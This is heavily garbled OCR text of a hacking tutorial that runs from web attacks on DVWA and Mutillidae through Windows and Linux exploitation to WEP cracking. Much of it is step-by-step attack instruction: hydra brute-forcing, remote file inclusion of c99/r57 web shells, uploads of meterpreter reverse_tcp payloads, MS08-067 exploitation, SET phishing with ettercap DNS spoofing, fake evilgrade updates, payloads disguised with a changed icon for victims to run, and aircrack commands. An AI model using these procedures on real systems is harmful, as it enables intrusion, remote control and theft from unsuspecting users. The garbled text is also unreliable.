kt -0 impitest.php . php -f tmpitest.phel | submit |

Prepare the multi handler.

#msfconsole



# use exploit/multi/handler

# set lhost (hacker ip)



# set Iport (ip we put for the payload)

# exploit

SQL Injection (Blind)



Make sure to install the php in the webserver you want to hack

File Edit Format WView Help

sudo a:u-:.- . aluf -
sudo apt-get update |
sudo apt-get install php5-cli

During this type of attack, the attacker is trying to bypass security mechanisms
while having minimal knowledge about them. Using one or more aceessible
methods: dictionary attack (with or without mutations), brute-force attack (with
given classes of characters e.g.: alphanumerical, specjl{fcase (in)sensifive)
the attacker is trying to achieve his/her goal. Considering a given method,
number of tries, efficiency of the system, which conducts the attack and
estimated efficiency of the system which is attacked, the attacker is able to /"

calculate how long the attack will have to lagf. Non brute-force attacks, on the
other hand, which includes all classes of characters, give no certainty of

Success.

Brute-force attacks are mainly used for guessing passwords and bypassing
access control. However there are a lot of tools which use this techinque to
examine the web service's catalogue structures and seek interesting, from the
attacker's point of view, information. Very often the target of an attack are data
in forms (GET/POST) and users' Session-IDs

It is a way of cracking passwords where we can get username
and password to gain access on the website we want to
hack.We will use the brute force in order to gain access to the
web server. It happens through the get and post request. We
have many tools that we can do through it the brute force.
There is bruter tool, burpsuite,



Go to dvwa brute force. Addon live http header. Enter in user
name and password.
Take the header information



Headers | Generator | Config About|

| HTTF Headers
http:/ (192,168, 1.2 fvulnerabilitiesbrute [Tusername=userfipassword=userd] ogin=Loging

GET fvulrerabilities /et Tuserm amesLisarBpasswar dsusarfl sgin=Login HTTR/1,1
Host: 192.168.1.2

User-Agent: Mozila/s. 0 (Windows MT 5.1; rvi22,0) Geckof20100101 Frefox)22.0
Accept: textfhrd, application) <htmi-+xml,applicationml;g=0.9,*/*:q=0.8
Accept-Language: en-US, en;g=0.5

Accept-Encoding: gzip, deflake

Referer: hitp: /192, 168, 1.2/ vulner abilities fbrute,

Cookje: PHPSESSID={9tofmps7paskaooonfpsn ecurity=high

Connection: keap-alive

HTTR{1.1 200 OK

Date: Wed, 14 Aug 2013 232445 GMT [
Server: Apache/2.2.14 (Unix) DAY/2 mod_ssif2.2, 14 OpensS5L/0.9.8] PHP/S.3.1 mod_apreq2-20090110/2.7.1 mod_|
#-Powered-By: PHP/S.3.1 |
Expres: Tue, 23 Jun 2009 12:00:00 GMT

Cache-Conkrol: no-cache, must-revalidate |

L3 | :
[SwaAII... ] { Replay,.. ] Capture

Put the information in bruter



eb Form Option

Form LIRL: E | Load Form

Request Cptions:
] r- e |
Method: |GET -

Target Page: | thp:/{192.168.1.2)vulnerabilitiesfbrute |

Cookie URL: | |

Referer: | htbp: 1192, 168, 1.2 fvulnerabilities/brutef

User Agent: | Mozilafs.0 (compatible; MSIE 6.0; Windows NT 5.1) v|

Query String: usernamemausernamesBpassyor detiopasswordysBLoginmLogin%e23

Mame Yalue
USETnams Seuserrame s
password Hapassword s
Logn Loging
Response Test:

Use Negative Result [ IFaliow redirection

String 1: |-L|5&Ea;e andjior password incorrect,

Y | |

[ ek | [ concal

String 2: |

Choose to use the brute force



Fle Setting Log Help

Connachon Options -
-i'art
Target: | 192.168.1.2 |

P'fﬂtﬂtd:i'-#cb focti 3 v'I Misc Cplions :
| Connections: | 5 |
Port: 80 | []ssL —
= Max Retry: | 3 | =
Usar Option ——— '5 :5
s Lo, | —
e WaitFor et [50 |
Password Mades Waik For each bry: O Irns
ol T Max Atkempt
[ combo: | | erowse.. |[ option | lasiiiead B |
[Cloictianmey: | passond | | Browse., ] I Ciption | [Jstos whan found cne
[~]Brute Force [ IPassword First
Fesult | Testing || Message Dg I
]
Target Service Lisar Password Mobe _
|
|

Try in the mutillidae website with burp suite. Change the proxy
settings in firefox to be ip address 127.0.0.1 and port no 8o. It
was difficult to use.

You can use the hydra tool



* Use Bruter tools

* Use burpsuite Tools

hydra -1 admin -P /root/Deskiop/pass. txt 192 168 4 6 hitp-post-form
“Imubllidae/index php?
php-submit-button=Login.Not Logged In”

the username
the wordlists
your target host, it can be change using domain
the service module

_ path application
input form
input form
input form at submit button
error message when the application failed to log in

* root@bt: -~

File Edit View Terminal Help

"/mutilli




.

Local File Inclusion mean loading local file such as /etc/paSswd , /et I st on the php
web pages. There are many programing mistake for ocCufring this vuln®fability. When

M

Remote File Inclusion (RFl) is a type nfvuiné':;hility most often found on websites. It
allows an attacker to include a remote file, usually through a script on the web server.
The vulnerability occurs due to the use of user-supplied input without proper
validation. This can lead to something as minimal as outputting the contents of the

In local file inclusion, if the web application has the hole local
file inclusion, through this hole we can read files inside the
webserver like [etc/passwd .

In DVWA, go to file inclusion.

£ 192.168.1, 2} vulner abilties Fifageminchude. pby

Change include with the file you want to download /etc/passwd



(‘ 192,168, 1, 2 vulnerabilkies )|

Most important file we can download

letc/passwd

lopt/lampp/etc/proftpd.conf

In windows machine we use another command

Page=../../../boot.ini

http: /152,168, 1.5/.. pPpages=/etc/passwd X . Darnn Vulnerable ¥

& 192,168, 1, 5fmutilidas inde: php?pagess, [, /.. /boot.ind I

When the web application has this hole, we can put another
page inside this website. This web page called web shell.
Understanding web shell



Shell is a shell wrapped in a PHP script. It's a tool you can use to execute arbitrary
shell-commands or browse the filesystem on your remote webserver. Tl:l.]§ replaces,
to a degree, a normal telnet connection, and to a lesser degree"a SSH cennection.

You use it for administration and maintenance of your webs‘ife, which is often'much
easier to do if you can work directly on the server. For example, you could use PHP
Shell to unpack and move big files around. All the normal command line programs
like ps, free, du, df, etc... can be used. P

The shell is written any programming language, and mostly in
php. Through the remote file include we can gain access in the
web server and apply the shell on it. There are some ready
shells like Cg99.php, R57.php, Cioo.php.

Co9 shell

2,14 DpenSSLS0.9.8] mod ex_color PHP/S.3.1
s XP Professional Service P

R57



= o 192.188,1 8helr57 phe | |B - cooge el

Saboct alias © | find suid files - Execute
# Fired toxt in filas aw i
Find teat ' fext Find
In divs * |C\xampplite\htdocsishell * {froothemaiump )
Onby in fibes [ ] tit; php ¥ etz phps.hem )

1 Eval PHP code v 5
/¥ delece .!l:rlpl. '.'a’
J/funlink("c57=shell. php”):
//readrile ("/ecc/ passwd®) ;

I

Execute
2 Upload files on server aw
Lol fils © No file selacted.
tary name © [ Upload
1 Download fles from server a=
#le 7 |Chxampplite\htdoes\shel| - Download
Auchivation () uinhoue archivation L) aip 0 grip O busp
1 FTP a1t
= Download files frem remate ftp-server send file to remaots fip server
FTP-parwarpert ©(127.0.0.1:21 FTPsarvarpert © 127.0.0.1:21
Login * lanon !mn.‘.u Login * cnu‘nrmou&
Passmond * |billy@microsoft.com Password * billy@microsoft.com
e R Vaval fila + o Avamnnnltsihtdrecichall

Web server shell to execute any program)

@ 192,168, 1.5/shedjshel phe | |H - cooge

fesults for : 7 Source of: hitp://192.168.1.5/shell/shell.php - Mozilla Firefox |
Ble Edb Wew Heb 3

HTHL »<BODY>]
<FORM METHOD:
<INPUT TYPE=
<INPUT TYPE~
</ FORM>

168.

™ ACTION="httop://192.
™ MAME='""command ">

1.5/=hell/shell.php™>

Put the shell in the folder /var/www. Put the shell as text file in
the hacker computer. Start the apache server
Go to mutillidae web site.

| 2 mutillidaeinde= phpipage=hame.php

Change home.php to the hacker computer shell address
http://192.168.52.134/c9g.txt




Ele Edit \iew History Bookmarks Tools Help

':.,‘ ] rrutilligae o 1 AQENE® 2 rﬂi' a.
@Disabler JLcCookes¥ CSS* [JFormi* [images™ information™ [ Miscellanecus™ “Outine™ s Resize™ _Tools* mView Source™ | Options ™ L]

View Captured Data

78-Ubuntu SMP Tue Jun 18
data)

or  Encoder Tools Proc. FTP brute Sec. S0L PHPcode Update Feedback Sel

Try in the dvwa. But instead of local file we put the shell
website address

http://192.168.52.134/dvwa/vulnerabilities /fi/.?page=include.php




http://192.168.52.134/dvwa/vulnerabilities /fi/.?page=

http://192.168.52.134/mutillidae/?page=text-file-viewer.php

b Lo [@ 10216812 ; : aNfaamD* -2 [\
dOissble® K Cookies® CS55* [JForms* [Glimages™ @information™ [ Miscellaneous™ #Outline* Resize™ Tooks™ MlView Source™ A Options™

)9Shell v. 1.0 pre-release build #16!
1

W2.7.1 mod_perl2.0.4 Perlivd.10.1

nogroup)

i/ dreooe-xr-x

L wals Proc, FTP brute Sec. SOL  PHPcode Update Feedback Selfl remove Logout
Owmued by hacker

Listing folder (2 fl 1 folders)
Porms
drwsr-xr-x
drwar-xr-x

drwxr-xr-x




We can create payload and upload it in the web server

fopt/lampp/etc/php.ini
letc/passwd
loptllamppl/etc/proftpd.conf

M
msfpayload php/meterpreter/reverse tcp LHDST—‘IEIZ 168.1.3 LPORT=5555-1

raw > eduros.php L3
Msfconsole.

use exploitmultilhandler

set PAYLOAD php/meterpreter/reverse _tcp

set LHOST 192.168.1.7

set LPORT 4444

exploit

Create the php/meterpreter/reverse_tcp payload in the hacker
computer






Open the file and remove the hash command in the php file.
Go to /var/www in hacker computer and put on it the payload.
Start the apache service.

Open the multi handler in the same way

Sraler

g . A A r . -
E FA oS S ©

ar P.I‘._"-'! IEI is8n

Using the browser upload the payload to the web server.

192.168.1.5
k
Linux ElOffensive Security KBExploit-DBE W Aircrack-na [l SomaFM



It will open the meterpreter session

el N AN FPRIE_ Tk



Uploaded files represent a significant risk to applications. The firststep in
many attacks is to get some code to the system to be attacked. Thenthe attack
only needs to find a way to get the code executed. Using 2 file uploadhelps the
attacker accomplish the first step. /' '

The consequences of unrestricted file upload can vary, including complete
system takeover, an overloaded file system, forwarding attacks to backend A
systems, and simple defacement. It depends__ﬂﬁ what the application does with

the uploaded file, including where it is storéd.

TP poriila §irefox

bk Mo slwoat | OO0 ugsloasd Snacls s

File Upload

Zelect File | [CADocuments and Setngs\hohel]| Browse




It means that the website enables us to upload some files such
as images or scripts. We can upload shells and makes it
excitable and we can control the web server. We can make
reverse tcp payload and upload it in the web server and make it
excutable and we control the web server

Go to DVWA and change security low. Go to file upload and

upload shell.



Vulnerability: File Upload

Choose an image to upload:
Browse... | No file selected

Upload |
MWW ckable/uploads/shell.ph

Y succesfully uploaded!

Browse the shell




Iil 192.168.1.4/hackable/uploads/shell.php



BB 122.168.1.4 - W50 2.5.1
& s [ @ 19210814 v&@ (@ ol b =@
@ BackTrack Linux  JjjOffensive Security Exploit-DB W Aircrack-ng i SomaFm

Lin

We can up load php reverse tcp payload. Create the payload.
Remove the hash from the php file



root@bt: ~




Upload the payload in the website using the upload hole.

Vulnerability: File Upload

Choose an image to upload:
Browse... | No file selected.

R

ol S IEEETIENTAGELER T succesfully uploaded!




Execute the payload. Meterpreter session will open.

192.168.1.4

Cross-site request forgery, also known as & one-chck sttack or séSsion

nding and abbreviated as CSRF (sometimes pronounced ses-surfSJor XSRF. is
3 type of malicious exploil of webiile whereby unautharired Mrt
transmitted from a user that the website trusts “ Unlip€ross-site :
scripting (XS5). which exploits the tnust a aser Wi fof » particular site, CSRF

exploits the trust that a site has in 8 user's browser. A

r

Through CSRF hole, we can create and change user information
and change certain data in the web site

We need tool called csrf tester. We can download it from the
web site. | did not try to apply the method as it was difficult.
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Part 9: Windows and Linux Hacking
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Hacker use exploit can be lunched over network and wonjvﬁihout any actioft from
user

The exploit in system or O.S can use metasploit for attack by server side attack

A

These are attacks that target vulnerabilities in client applications that
interact with a malicious server or process malicious data. Here, the client
initiates the connection that could result in an attack. If a client does not
interact with a server, it is not at risk, because it doesn't process any
potentially harmful data sent from the server.

Reverse-connecting Trojans let an attacker access a machine on the internal hetwork from
the outside. The hacker can install a simple Trojan program on a systemon theinternal
network,such as the reverse WWW shell server. On a regular basis (usually eveql‘GKO
seconds), the internal server tries to access the external mastep’ofstem to pick up
commands. If the attacker has typed something into the master system, this command is
etrieved and executed on the internal system. Reverse WWW shell uses standard HTTP. It's
dangerous becauseit’s difficult to detect—it looks like aglient is browsing the Web from the
internal network. /3




ATTACKER or SERVER PART

CONNECTED
SUCCESSEULLY

SER TED

LAN: 10.,0.0.2

YN f80 2% VICTIM/CLIENT

The Trojan program will make server which can be installed in
the client computer we want tohack. The reverse connection will
make the server in the client computer makes connection on the
Trojan program.



This module exploits a parsing flaw in the path canonicalization codeof.
NetAPI32.dll through the Server Service. This module is capable-of byﬁ‘a‘ﬁing NX on
some operating systems and service packs. The correct t::l?et must be Mo

prevent the Server Service (along with.a dozen others in fhe same process) from
crashing. Windows XP targets seem to handle multiple successful exploitation

events, but 2003 targets will often crash or hang on subSequent attempts. This 8, .
just the first version of this module, full 3upporyﬁ NX bypass on 2003, along with™
other platforms, is still in development. f

Steps to attack windows xp sp3

Heconfig
Neap -A 192.168.1.0-254
Msiconsole

Use exploitwindows'smb' mald 087 netapl
Set RHOST 19216818
Expiloit

Scan the subnet using the command nmap —A to find windows
machine

Nmap -A 192.168.1.0 254

Msfconsole



Use exploit/windows/smb/mso8_o67_netapi

Set rhost 192.168.52.132 (the other win xp machine that has
the exploit)

exploit



Then you can work in the interpreter session and write any
command.

Some commands: Is, sysinfo, hashdump, screenshot, ipconfig,
shell

When you go to shell you can use the dos commands: net
share, ipconfig /all, tasklist, net user, net share, netstat -anb

You can run payload in the computer using this hole



Msfconsole



Use exploit/windows/smb/mso8_o67_netapi

Set PAYLOAD windows/meterpreter/reverse_tcp

Set LHOST 192.168.52.135

Set LPORT 4444



Set RHOST 192.168.52.132 (the other win xp machine that has
the exploit)

Exploit

This module exploits a stack buffer overflow in the RPCSS service, this Yolnerability
was originally found by the Last Stage of Delirium research group and hes been

widely exploited ever since. This module can exploit the Engish versionsiph
Windows NT 4.0 $P1-6a, Windows 2000, Windows XP. and Windows 2003 & H one
request ;)

You can use also armitage



« Attack 192.188.1.100
sucroaclt BPC DOCOM It erTale Ovartiown

ThHiw

s module epiay 8 Mtack UM Sverfios in the RPCLS serace, tha vinaraldty ae
srignaly found by the Last Stage of Delrium resedrch group and s Deen sidely
oDt ed ever ynce. Thn midule Can Dok the ENgieh wverudrn of Windows NT 4.0
#14a windows 2000, windoas )P, and Windows 2000 al in cne regueit

Cgtan ol Vahae

LHOST 192.143.1.3
FORY d7H0

FrraT 192.148.1.100
FPORT 135

Targets | O => Wndows NT 3322000000 ) Uriverial (v
Uie & reverie commecton

_ Show avanced Optian

Launh




This caplat dynassically croates a jar fike via the Myl Exploit=Jrva main, then slanathe It
Tha resuking signed appiet is prosented to the victmria a web page with an spplit bag. The
victim's JVM will popa dialogaaking if they truat the signed applst ﬁfﬂkwﬂﬁ.‘m
diakeg will dapiay ta value of CERTCN inthe “Pellisher” ine. r JYM) Saplay
"UNKNCYWN™ when She aignature s not trestod (Le. ifs motalosod by a trustod CA) The
SigningCent optice allows you to provide a trusded code signing cert, the valoes inwhich will
everride CERTCN If SigninaCertis not given. a randomiy qenefated selfalaned cert will pe
used. Either way, once the user clicis “ron”, the :;p}uﬁcm wih full uatr pecmindiom.

el e e T a F e e
s S P R

It is a client side attack. When the hacker uses java signed
applet module in the metasploite it will act as web server and
will have a website that have Java meterpreter reverse tcp
payload. It requires that the client have java application to
execute the java payload. Anybody will go to the website will
download and install the payload and the hacker can control the
computer. It can hack any machine that has the javal
application.

You set the the LHOST and the RHOST the hacker ip address.
The LPORT can be any port and RPORT put 8080 or 80 or any
other port. Put the URI part /.



multi/browser /java_signed_applet

Jva Sgned Appiet Lo0s Engreerry (Ode Boscution

Comicie X |

G == ey (fpva Fayigad)

hae advanced cpticen




Tun=el commu=scstaon over HTTR Soawn 8 piped commard =" fotigid) and er
et -

We will do fake site for www.google.com and when any person
in the local network wants to go for this web site he will come

first for your fake website and the fake website will download
payload to the client computer.

Go to back track then exploitation tools then social engineering
tools then social engineering toolkit then the set command.



Set > ./ setup.py install

./set-update

./settoolkit




Choose 1 for social engineering attack. Then 2 for website attack
vectors. Then 1 for java applet attack method. Then 2 for site
cloner.

Then choose n to apply the method for the computers in the
internal networks only. Put the Ip for the hacker computer
192.168.52.135. Then put the website that you want to make



phishing for it http:/www.google.com.

It will ask you the type of payload you want to use with java
signed applet. Choose 12 which is SE toolkit http reverse shell
encryption support






Put the port listener 6666

20 file 1 34 f )i
¥ Torsat 1s (f A Yo
vy Bphoatnase Cie L 168 ¥ !
TESMETE | A l92.168. 1 |
e 3le.Con A 192.1¢ i
fee 2| 1y
ww D) a i

Write the command: ettercap —G the get the ettercap GUI. Put
sniff and choose the interface then choose unified sniffing. Then
choose hosts then go to host list. Then go mitln and choose

arp poisoning, poison one way. In plugins, choose dns_spoof
plugin. Then choose start sniffing.



fusr/icsel/sharesettercan/erter. dag~ 4

a1 Trgets Hosts View Mam filters Logong Plugrs Help

Descrgtion

192.115-525.1 0030.34.C0.00.08

] 192.16828.2 003034 FEREBD

192.168.23.214 000C:29.12:1930
192.168 238254 003024 FBFD9F
|

L

Delcte Host Add to Target 1 Add to Target 2

| GROUP 1 : ANY [all the hosts in the k)

GROUP 2 : ANY (all the hosts in the hst)

Activaten dro_spodd plugin..
| Starteq Unified <riffing

When the client in the internal network go to he will go to your
fishing site. You will see in back track set command a shell
where you can write commands for the client computer. Try the
commands ipconfig,




Thes module has three actions The first (and the defauit| is WebServlt® which uses
3 COmBangtson Of Chant-gade 303 Lervir - tide techniques 10 ingerpri~tWETP cliemts
and then sutomatically exploit thees Neat is DefangedD

s simply prints the namgd’of ol expbot modules

the f Qerprinting part Lastly
that woudd De used Dy the WebServer action given the corrent MATCH ang

EXCLUDE optioes. Adso p3ds b Tt command whalh i Bhe same ki runfin

KM=l




The hacker can make his computer a fake webserver and he can
make on it a website that can utilize the client browsers
security holes to hack its computer. Any client will visit the
hacker website, it will apply the exploits for the browser.

Start armitage. Search for browser_autopone. Put LHOST and
SRVHOST the IP of the hacker machine, the Srvport = 8o, URI
Path=/

Arstape Vs HATY MM Wortipaled Hep

* & sstery
v & saven
v woricy
Sk _leye_vd

¥ & 1eceer

vl egiot * server Browier_autopwn
WETP Chart Actimatic Dphater

Thes maaue Pas three actorm The Anst (a0l the Sefault] s 'WebSeryer -
b uBes 8 Combnation of Chart 238 803 100 Sade Lelhregaas 10 ;
" .

v oot Fragrrerd WTTR rlasty pmd than udomptir phe o L T T 4
' El e % Cpton & ek
" @ manae DosT o e a1 ]

Ll =N+ BN ¥
PORT L 34 ]

p 340

L8Len

e 133Y

LPP AT

PETASLOIT CYRER MISSILE (CrpaaD
_ $how adaanded optiors

/

You can shorten the url using the website bitly.com. When it
will hack the client , it will open the meterpreter session.



Note: The antivirus will detect the autopone and block the
connection



Thes expiont dynamecaily creates 2 apl addon file The resulting booksirapped
Forefox addom is pretanted 10 the viclim vis 3 web page with, T he va S Firefox
browser will pop & Galog ashing # they trust the pddon OACetMe uier CIERD

“eilall” | the 300N e inslalied 55d src uted the paytosd st Tl uter ;--r-—;‘r“.n.-;
As of Firefor d thes will work wiEhoot @ restart o e pdgon i marked to be
"bootstrapped”. As the 30300 will enedute the payload after each Firefon restarkan
SOROn can be preem B0 sulomatic ally ururatall EhalEdon once the puryioad has Deel
treCuted

The hacker can make his computer a fake webserver and he can
make on it a website that has fake plugins. Any client will visit
the hacker website, the firefox will try to download the plugins
and will download also java meterpreter reverse tcp payload.

In the msfconsole, search firefox. Use the
exploit/multi/browser/firefox_xpi_bootstrapped_addon. Set the
payload windows/meterpreter/reverse_tcp. Set the Lhost and
Rhost the hacker computer and the Lport any port and the
srvport to be suitable port.



To see the sessions we writes the command "sessions —I". To
choose the first session write "session —I 1".

Note: The firefox will detect the unverified plugins and will not
install it



The Veil team worked on adding a couple new features to over the wasliing and
wd re RApOy 10 S8y IRal we weie adi 10 push the out istolhe 100l TRBC mas-
fealares tMat have Deen added 1o the 10G1 are \3.\

rd compatibilZy - Wed originaly was designed for add Wriscnit of b (or Kal
specfically) Ower the weehkend, we ve updated our setup script 1o mahe Ye
COMmPAtibie with Both 186 and X84 veruions 50 nOw ot $houldn T have iLsues

rumrersg it on anvy version of linua




Download Veil-master tool

# cd Veil-master

Cd setup

./setup.sh

Python veil.py

Choose list

Choose the payload g9: Powershell/virtualalloc. Then choose



generate the payload. Choose msfvenom. Choose the
windows/meterpreter/reverse_tcp. Choose the lhost the ip of the

hacker machine 192.168.52.135. Choose any Iport. Choose the
name of payload.



Attach the payload with another program using any archive
program such as winrar. Then use the icon changer to change
the icon . Ask the client to download the file using any trick
Operate the multi-handler tool msfcli to hack the client>

# msfcli multi/handler payload=windows/meterpreter/reverse_tcp
lhost=192.168.52.135 |port=4444 E



After the user open the program, the meterpreter session will
open

EviiGrade exploits weaknesses in the auto-update ttmcﬂdrummm
software packages. X is able to trick the service info believing thefe is. 2 Signed
update available for the product, thus prompting the user fonttall the
Unfortunately the upgrade is in actualty an sttacker’s paﬁ'und The nefarious part
about this product is that it is very diffiCUR TOr the average user to detect! Since it
utilizes the software's own update process, there is nosuspicious looking box S

popup that would seem out of the ordinary; it ua‘dlo-oh just ke any other
legitimate upgrade

Dosmicad £ fom htp Meww nioby tosed comidomsnnur-ovigr

tar x2vf isr-evilgrade-2 0.0 targ2

¢pan Data::Dump

We will do fake update for windows and through the fake
update we will download the payload type windows interpreter
reverse tcp which will do reverse connection with the hacker
computer and through the meterpreter session you can control
the client computer.



Install evilgrade. To get the modules type

#./evilgrade

* root@bt: ~/isr-evilgrade

# configure winupdate

# show options

Create the payloads in other command lines

# msfpayload windows/meterpreter/reverse_tcp
lhost=192.168.52.135 |port=5555 x > /root/hedayai.exe



Return to evilgrade to tell it about the payload



Edit the file etter.dns
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Operate ettercap in command line

# ettercap -T —-Q —M —P dns_spoof [192.168.52.2/ // (ip of
the machine gateway)

letterchp 0.7.4.1

Operate the multihandler

#Msfcli multi/handler payload=windows/meterpreter/reverse_tcp
lhost=192.168.52.135 Iport 5555 E



Go to evil grade and write stat

Evilgrade > start

>status

pid slready rumaisg

SERVER :  (pid 2349) alr

Test on the client. The client will do windows update. The client
will go windowsupdate.microsoft.com. From interpreter you can
control the client computer. The command run vnc can do
anything in the client computer.



This module exploits the MS12-020 RDP vulnerability originally discovered
and reported by Luigl Aurlemma. The flaw can be foupd¥ the waythe T.125

ConnectMCSPDU packet is handled in the maxChandefiDs field, whith wa
result an invalid pointer being used, therefore causing a denial-of-service
condition A

MS12 is exploit that targets the RPC service that is responsible

on the remote connection.
You can use the rdpex.py script in the cd to crash the server

To discover the network use

netdiscover —r 192.168.52.0/24



nmap —sV —O (IP address) to scan for services and see if the
terminal service open (port 3389 ms-wbt-server)

rooti$bit: ~

ln( o0 Bt -wbl -server Microsoft Terminal Service

You can use the rdpex.py script to crash the server



BeEF is short for The Browser Exploitation Framework Ris a penctraton testng 180l that
fo bt 00 Mmool Beow T

.

Anid growing corcerms abot wib-bar=a sEscky unt cherts -*r:h.nﬁﬁ-;m:&ﬂ ’ i
BeEF 3 awnthe profearondl practratom tealer 10 Jen=ss the :ctuu/'m:". *Ry posture

target emvironment by using clent-sade sttack vectors. Ualike ot*af securty frameworis, BeEF
Soks past the hardenod network. perimeter ind Chont systom. and cLimines caplofablity
within B contint of he 0Nt Spen door the web browser BeEF will hook one o mace wib N
Beowsers and use them a9 beachhoads for Liusching ':;xdcmmﬂ moduies and further
a%acky apaingt the pystom from within the browser conle

It is web application. When the client browse this website, the
hacker can apply java payloads on the client computer.

Go and install Beef from back track, go exploitation tools, social
engineering tools, BeEF XSS framework, BeEF



After the installation, you will get the hook url and uri url

Hook url: http://127.0.0.1:3000/]s

Uri url: http://127.0.0.1:30000/uri/panel

Fr127.0.0.1;

Use the username beef and password beef to enter the control
panel
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Change index.html in the apache /var/www/index.htm| and
restart apache2

powast | L sowe [fremns Q) ome | oiuem oW
bt =

< bl -

“Litlen  sading «1Title=

etrigl sro="hiy iZ'.0.0 I.IIII bk 4 e a nlrigl e
o Taaed

shopiby ==l 51t « Wl=

ey -
-"dt

We can redirect the browser to certain website



In the armitage, create the java_signed applet payload and put
the SRVhost ip and lhost ip same as the hacker computer ip.
Take the link and paste it under redirect browser section in the
beef application. When the client will enter the link the
computer will be hacked



You can hack any inux machin used wine program

Wine program run windows file on Bnux

-~

! patoad bt n i meter preteureyRrse_top LMOST = 112 168 01 1
R .mafencode -1 off .« xBlshibata g2 nal >> eduon

WA multihandier payload® linye s B8 meter prolifteverse 1D
host= 192168 28 11) lport=dddd £

The linux has less number of holes than the windows, but linux
can be hacked with payloads.

Got to msf3 folder and write the command msfpayload linux.
Then use the command msfcli multi/handler to control the
hacked machine when the client run the payload
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Part 10: Wireless Hacking Networks in Linux

Wireless network refers to any type of computer network that utilizes'some
form of wireless network connection.

Y

It is a method by which homes, telecommunications networks and enterprig{

(business) installations avoid the costly process of introdﬁéfng cables into a
building, or as a connection between various equipment

locations. Wireless telecommunications networks are generally implemented
and administered using radio communication. Thigtimplementation takes place
at the physical level (layer) of the OSI model nefwork structure

€ cow Then —
Crodit Card = 5555.-5555.5555 &%
° U v @ avigedd
P progratm I:i.

Wireless 3

~— . Wireless
Eavesdropper e Home
» Network
Launshing _ 4= E — -y
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connect to a wired network using o
connect to access point /

name of the wireless network

number that represents a specific radio c%munication frequency

process of encoding messages (WEP-WAP - WPA2 )

There is access point which is the device that transmit the
signal. There is wireless adapter which is the device that
connects to access point. Essis is the name of the wireless
network. Channel is a number that represents certain radio
communication frequency and the encryption is the process of
encoding messages using WAP — WEP — WPA2. It is divided to
two steps, authentication and encryption.



Access Paint ® Enable ) Disable
[EGYPT v
Channel 1D 'Channel(4 2427MHz v Current Channel: 2

{If you select Auto Channel Select, it need to reboot CPE after
submitting settings!)

SSID Number ®1 O2 O3 O4

SSID Index [1 v]

SSID deme] |
Broadcast SSID ®ves Do

Authentication Type | WEP-64Bits

Enter 5§ ASCII characters or 10 hexadecimal digits for WEP-64Bits encryption keys.
Enter 13 ASCII characters or 26 hexadecimal digits for WEP-128Bits encryption keys.

eyl

O kayz2

O Key#3 [

O kayza i

Beacon Interval 100 |
RTS/CTS Threshold | 2347




Wired Equivalent Privacy (WEP) was the first security optionfor 80211 WLANS. WEF" is used to
encrypt data on the WLAN and can optionally be paired with shared key authenticationteo authenticate
WLAN clients. WEP uses an RC4 64-bit or 128-bit encryption key to encrypithe layer 2 My[oad.
This WEP key comprises a 40-bit or 104-bit user-defined key mmbinedf;ith a 24-bit Initialization

Vector (IV), making the WEP key either 64- or 128-bit. A

The process by which RC4 uses Vs is the real wﬁakn&apf‘&' WEP: It allows a hackerto crack
the WEP key. The method, knows as the FMS attack . uses éncrypted output bytes to determine the
most probable key bytes. It was incorporated into products like AirSnort, WEPCrack, and aircrack
to exploit the WEP vulnerability. Although a hacker can attempt to crack WEP by brute force, the

moat common technigue is the FMS attack.

64-bit wep uses a 40-bit key
128-bit WEP uses a 104-bit key size
256-bit WEP uses 232-bit key size

..
WEP Key Store

eyt el s

gessencsd

iw[:P Seed

XOR Alsoﬂu‘m !x:n-.lcoioloolol..l.lou.lllv-olclcololﬂoiou:

AT

wonnssnaraBoinans
.
.
.
O

L L L L L LT

E, WEP-encrypted Packet (MAC Frame)

The WEP authentication is there with 64 bit, 128 bit and 256
bit. You put the preshared key. The access point generate IV
and it is a key with 24 bit long. The WEP seed goes to
algorithm RC4 Cipher then it goes to keystream, then it goes to
CRC-32 to make error correction and detection. It takes the data



and ICV . It makes XOR operation for the data and the
keystream

Notes

t—

aireplay-ng --test -e TargetWiFi -a 00:1C:10:AF:FA:4D mq;ﬂf '--ignore-
negative-one

essid
y.

N

mac address AP

Alfa Dlink dwa-125 Netgear wn111v2




To know whether the wireless card support the injection use the
commands airmon-ng or iwconfig

~# airmon-ng

Interface Chipset Driver

Ralink RTZ2870/3070 rt28080usb [phy@]

n key

‘ower Management :on

You need to know whether the backtrack see the network

f#airmon —-ng

Or



#iwconfig

To activate the monitoring mode, write

#airmon —-ng start wlan1 (network card)
:~# airmon-ng start wlanl

workilng after
(some-of) them!

wpa supplicant

£

[Interface Chipset Driver

2R70 /3070 I_tz

lwlanl Ralink RT2870/

( mernitorn-ma Fnahled arn  mand )

To see the wireless networks around me



#airodump —-ng mono

To stop the monitoring mode

#airmon —-ng stop mono

#airmon —-ng stop wlan1



To activate the monitoring mode on access point we want to
access on it

#airmon —-ng start wlan1 6 (channel access point number)

To know whether the access point support the injection facility
or not



#aireplay —-ng -9 -e demo -a (mac address) mono
(or --test)

It must write injection is working



Iweonfig

Airmon-ng start wlan1

airodump-ng mon0
- airodump-ng —¢ 1 —bssid 00:1C:10:AF:FA:4D -w www mon0

aireplay-ng -1 0 -e TargetWiFi -a 00:1C:10:AF:FA:4D_zh 00:C0:CA:4A:D3:37 mon0
- aireplay-ng -3 -b 00:1C:10:AF:FA:4D -h 00:C0:C# :4.;:03:37 mon0

- aircrack-ng —z-b 00:1C:10:AF:FA:4D ww".cap Edlt View Bookmarks Settings elp

Aircrack is the best tool for cracking WEP with connected client.

It monitors the packet on wireless network to get the IV and
from IV we get the password

#iwconfig



#airmon —-ng start  wlann

:~# airmon-ng start wlanl

Interface Chipset Driver

Ralink RT
Ralink R 370/ 3 B -
[ mendton-mad snabled-an

To see all networks around me

#airodump —-ng mon

It will bring all the networks around you



ENC CIPHER

WERP WEP demo
farou

[l =

8
4 l
B
7

o

B

L) I

Dlink




#airodump —-ng -c 2 (ch no) —bssid (mac) -w www
mon

The packet captured will be saved in file www

For thick authentication

#aireplay -ng -1 -0 -e demo -a (mac address of access
point) -h (mac address of the client | want to use to crack the
packet) mon

1 min ]]

FWR RX0) #Data, #/s Cl B ENC CIPHER AUTH E

47 100 921 ) 4 WEP WEP OPN d

STATION l Frames Probe

root@kali: ~

File Edit View Search Terminal Help

-e demo C6:1F:E7 8 -h 14:74:11:12:
ified MAC (-h).

an channel -2




Make arp request to speed up capturing packets.

#aireplay —-ng -3 -b (bssid) h (mac address of the
client | want to use to crack the packet) mom

File Edit View Search Terminal Help

on channel 2

B packets...(Q@ pps)

After 20000 packets, open new window and write

